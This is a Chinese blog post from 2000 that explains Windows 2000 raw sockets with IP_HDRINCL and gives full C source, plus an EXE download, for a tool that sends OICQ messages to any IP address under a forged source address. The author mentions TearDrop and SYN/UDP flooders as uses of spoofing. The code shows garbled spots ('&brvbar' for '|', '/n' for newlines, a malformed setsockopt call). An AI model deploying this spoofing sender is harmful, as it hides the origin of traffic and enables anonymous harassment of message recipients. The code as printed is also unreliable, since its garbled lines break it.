Win2000中用户自定义IP头的实现及OicqSend完整实例源程序

原创 2000年09月06日 23:26:00
Win2000中用户自定义IP头的实现及OicqSend完整实例源程序

by

孤独剑客

E-mail: janker@371.net HomePage: http://janker.126.com

一、引子

     前不久我写过一篇叫《个人上网用户自我防护手册》的文章,详细介绍了一般的网络安全常识、如何构建一个安全的个人系统以及在网上冲浪时需要注意的问题等等,旨在帮助广大上网用户学会在网上保护自己。其中曾提到关于IP隐藏的问题,因为那篇文章的对象主要是针对一般上网用户,所以没有详解介绍,没想到不少网友非常感兴趣,纷纷来信探讨,故而特写下了此文,献给大家。

二、IP头结构

    我们知道,TCP/IP网络数据全部是通过封装在IP数据包中在Internet网上传送的,也就是封装建立起一个包含IP头和数据的IP数据报。一般来说,网络软件总是以多个32位字产生IP头,即使必须用附加的0填充IP头。IP头包含了传输IP数据包中封装数据的所有必要信息。IP头的数据结构和描述如下:

成员 长度(Bit) 描述
Version 4 IP头的版本号,目前是IPv4,最新是IPv6
Header Length 4 IP头的长度,若没有特殊选择,IP头总是20字节长
Type of Service 8 服务类型,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
Total Packet Length 16 IP包的长度,若没有特殊选项,一般为20字节长
Identification 16 IP包标识,主机使用它唯一确定每个发送的数据报
Flag 3 IP数据分割标志
Fragment Offset 13 IP数据分割偏移
Time to Live 8 数据报在网络上的存活时间,每通过一个路由器,该数值减一
Protocol 8 TCP/IP协议类型,比如:ICMP为1,IGMP为2,TCP为6,UDP为17等
Header Checksum 16 头部检验和
Source IP Address 32 源IP地址
Destination IP Address 32 目的IP地址
Other ? 其他选项
Data ? 数据

    实现自己定义的IP头是一件非常有意义的事情,比如,通过改变IP头里的TOS的优先级和TTL,你可以使自己的数据包有更强的传输能力和寿命,通过修改IP头里的源IP地址就可以隐藏自己机器的IP地址等等。象著名攻击程序“泪滴TearDrop”就是通过故意制造系统不能处理的分片IP包而实现的,还有SYN Flooder和UDP Flooder就是通过产生随机源IP实现欺骗的。

三、实现原理

    一般来说,自定义IP头是通过使用socket的库函数setsockopt()的选项IP_HDRINCL来实现的,尽管这在unix和linux平台上很容易实现,但遗憾的是在Windows平台的Winsock1.1和Winsock2.0函数库里setsockopt()不支持IP_HDRINCL选项,所以在Windows 9x/NT里是无法通过Winsock函数库来实现IP头自定义的,当然可以通过编写虚拟设备驱动程序来实现,不过比较复杂,但Windows 2000的出现打破了这种局面,Windows2000的Winsock2.2函数库里全面支持setsockopt()的选项IP_HDRINCL,使得我们轻松就可以实现自定义的IP头。实现方法如下:

SOCKET s;

BOOL bopt;

s=WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);

ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)bopt, sizeof(bopt);

四、实例

   为帮助大家尽快地学会构造自己的IP头数据,特给出一个完整的实例,例子的功能是:只要给出对方的IP地址,就可以发送给对方的OICQ一个“hello!”消息,并且由于修改了发送数据包的IP头,完全实现了发送方IP地址的隐藏,也就是说稍加修改你就可以制作出一个能够完完全全的匿名OICQ发送器,当然,若是故意捣乱的话,后果自负。源代码如下:

/***********************************************************************/

/* OicqSend.c                                             */

/* 本程序用Visual C++ 6.0编译在Windows 2000 Advanced Server 上调试通过 */

/* Created by janker@371.net 2000.8.28                         */

/* 声明:本程序经修改后可能会产生攻击性擅自修改成攻击程序者后果自负  */

/***********************************************************************/

#pragma pack(1)

#define WIN32_LEAN_AND_MEAN

#include <winsock2.h>
#include <ws2tcpip.h>

#include <stdio.h>
#include <stdlib.h>
#include <time.h>


#define OICQ_MAX_PACKET 1024
#define OICQ_MAX_MSG 512
#define OICQ_MSG_LEN 45
#define SRC_IP "127.0.0.1"
#define SRC_PORT 5277
#define DST_PORT 4000

typedef struct ip_hdr
{
unsigned char ip_verlen;
unsigned char ip_tos;
unsigned short ip_totallength;
unsigned short ip_id;
unsigned short ip_offset;
unsigned char ip_ttl;
unsigned char ip_protocol;
unsigned short ip_checksum;
unsigned int ip_srcaddr;
unsigned int ip_destaddr;
} IP_HDR;

typedef struct udp_hdr
{
unsigned short src_portno;
unsigned short dst_portno;
unsigned short udp_length;
unsigned short udp_checksum;
} UDP_HDR;

char strMessage[OICQ_MSG_LEN] = {
0x02,0x01,0x07,0x00,0x78,0x00,0x00,0x31,0x30,0x30,0x30,0x31,0x1f,0x30,0x1f,
0x30,0x30,0x1f,0x32,0x30,0x30,0x30,0x2d,0x30,0x31,0x2d,0x30,0x31,0x1f,0x30,
0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x1f,0x68,0x65,0x6c,0x6c,0x6f,0x21,0x03
};

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (USHORT)(~cksum);
}

int main(int argc, char **argv)
{
WSADATA wsd;
SOCKET s;
BOOL bOpt;
struct sockaddr_in remote;
IP_HDR ipHdr;
UDP_HDR udpHdr;
int ret;
DWORD i;
unsigned short iTotalSize,
iUdpSize,
iUdpChecksumSize,
iIPVersion,
iIPSize,
cksum = 0;
char buf[OICQ_MAX_PACKET],
*ptr = NULL;

printf("Spoof OICQ Msg Sender - by Janker@371.net/n/n");

if(argc!=2) {
printf("usage: OICQSEND Destination_IP_Address");
ExitProcess(1);
}

srand((unsigned)time(NULL));
strMessage[5]=rand();

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup() failed: %d/n", GetLastError());
return -1;
}
s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,0);
if (s == INVALID_SOCKET)
{
printf("WSASocket() failed: %d/n", WSAGetLastError());
return -1;
}
bOpt = TRUE;
ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
if (ret == SOCKET_ERROR)
{
printf("setsockopt(IP_HDRINCL) failed: %d/n", WSAGetLastError());
return -1;
}

iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + OICQ_MSG_LEN;

iIPVersion = 4;
iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

ipHdr.ip_verlen = (iIPVersion << 4) &brvbar iIPSize;
ipHdr.ip_tos = 0;
ipHdr.ip_totallength = htons(iTotalSize);
ipHdr.ip_id = 0;
ipHdr.ip_offset = 0;
ipHdr.ip_ttl = 128;
ipHdr.ip_protocol = 0x11;
ipHdr.ip_checksum = 0 ;
ipHdr.ip_srcaddr = inet_addr(SRC_IP);
ipHdr.ip_destaddr = inet_addr(argv[1]);

iUdpSize = sizeof(udpHdr) + OICQ_MSG_LEN;

udpHdr.src_portno = htons(SRC_PORT) ;
udpHdr.dst_portno = htons(DST_PORT) ;
udpHdr.udp_length = htons(iUdpSize) ;
udpHdr.udp_checksum = 0 ;

iUdpChecksumSize = 0;
ptr = buf;
ZeroMemory(buf, OICQ_MAX_PACKET);

memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
ptr += sizeof(ipHdr.ip_srcaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
ptr += sizeof(ipHdr.ip_destaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

ptr++;
iUdpChecksumSize += 1;

memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
ptr += sizeof(ipHdr.ip_protocol);
iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
ptr += sizeof(udpHdr.udp_length);
iUdpChecksumSize += sizeof(udpHdr.udp_length);

memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr += sizeof(udpHdr);
iUdpChecksumSize += sizeof(udpHdr);

for(i = 0; i <OICQ_MSG_LEN; i++, ptr++)
*ptr = strMessage[i];
iUdpChecksumSize += OICQ_MSG_LEN;

cksum = checksum((USHORT *)buf, iUdpChecksumSize);
udpHdr.udp_checksum = cksum;

ZeroMemory(buf, OICQ_MAX_PACKET);
ptr = buf;

memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, OICQ_MSG_LEN);

remote.sin_family = AF_INET;
remote.sin_port = htons(DST_PORT);
remote.sin_addr.s_addr = inet_addr(argv[1]);

ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));
if (ret == SOCKET_ERROR)
printf("sendto() failed: %d/n", WSAGetLastError());
else
printf("Send O.K.!");
closesocket(s) ;
WSACleanup() ;

return 0;
}


请下载完整的源程序和EXE文件压缩包oicqsend.zip

五、后话

   本文的实例OICQ数据是本人用Windows 2000的“网络监视器”分析而得,这是一个很好的网络数据包分析工具,希望大家能好好利用。

 

参考书目:

《Network Programming for Microsoft Windows》 Author: Jim Ohlund,Microsoft Press。

 

Win2000中用户自定义IP头的实现及OicqSend完整实例源程序

2000年12月01日 16:32:00 by 孤独剑客e-mail: janker@371.net homepage: http://janker.126.com一、引子    前不...
  • softart
  • softart
  • 2007年10月27日 07:42
  • 281

Win2000中用户自定义IP头的实现及OicqSend完整实例源程序

  by  孤独剑客e-mail: janker@371.net homepage: http://janker.126.com一、引子     前不久我写过一篇叫《个人上网用户自我防护手册》的文章,...
  • ghj1976
  • ghj1976
  • 2000年12月01日 16:32
  • 1222

实现自定义的IP头(收藏)

Win2000中用户自定义IP头的实现及OicqSend完整实例源程序(yagami 转贴)   出处:http://janker.126.com正文:Win2000中用户自定义IP头的实现及Oicq...
  • aheadyes
  • aheadyes
  • 2005年07月14日 16:46
  • 997

网络编程---以太网头 IP头 ARP包结构体封装及常用自定义网络转换函数(已测试)

以下的结构体在实际工程中经过了测试是可以的,自定义函数也经过了测试,到目前为止没有出现问题。// --------------------------------------------- // TC...
  • FreeApe
  • FreeApe
  • 2016年03月17日 13:34
  • 1328

命令行下直接修改Windows2000的IP地址

有朋友问我,“能不能在命令行下直接修改Windows2000的IP地址?”。      呵呵,当然是可以的了。不仅可以修改IP地址,和网络相关的每个细节都可以用命令行方式进行配置。      ...
  • woods2001
  • woods2001
  • 2012年01月05日 18:18
  • 1179

汇编语言程序框架

详细内容请访问: https://www.liangking.me/2017/03/25/assembly-experiment2/   实验二 汇编语言程序框架       一、实验目的 l ...
  • LJ_King
  • LJ_King
  • 2017年04月08日 11:35
  • 594

linux 高级网络编程之自定义ip报文头 Dos

一,前言     Dos(Denial of Service) 即拒绝服务攻击。在建立tcp连接过程中,有三次握手过程,假如客户端向服务器发送连接请求,服务器收到请求并准备建立连接,但客户端假如迟迟不...
  • xiahzp
  • xiahzp
  • 2016年11月05日 19:15
  • 624

多个存储过程完整实例及调用方法

①为什么要使用存储过程?因为它比SQL语句执行快.②存储过程是什么?把一堆SQL语句罗在一起,还可以根据条件执行不通SQL语句.(AX写作本文时观点)③来一个最简单的存储过程CREATE PROCED...
  • hdy007
  • hdy007
  • 2007年01月08日 09:08
  • 501

SqlServer2000中用户自定义数据类型的使用

  • zgqtxwd
  • zgqtxwd
  • 2008年04月30日 16:40
  • 132

Angular(三)路由ui-router

一、ui-router相对ngRouter的优点由于angular内置的路由机制那个ng-router存在一些缺陷,不能很好的实现多视图与嵌套视图,所以一般都会选择angularUI提供的ui-rou...
  • sinat_24044741
  • sinat_24044741
  • 2016年10月12日 22:38
  • 929
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Win2000中用户自定义IP头的实现及OicqSend完整实例源程序
举报原因:
原因补充:

(最多只允许输入30个字)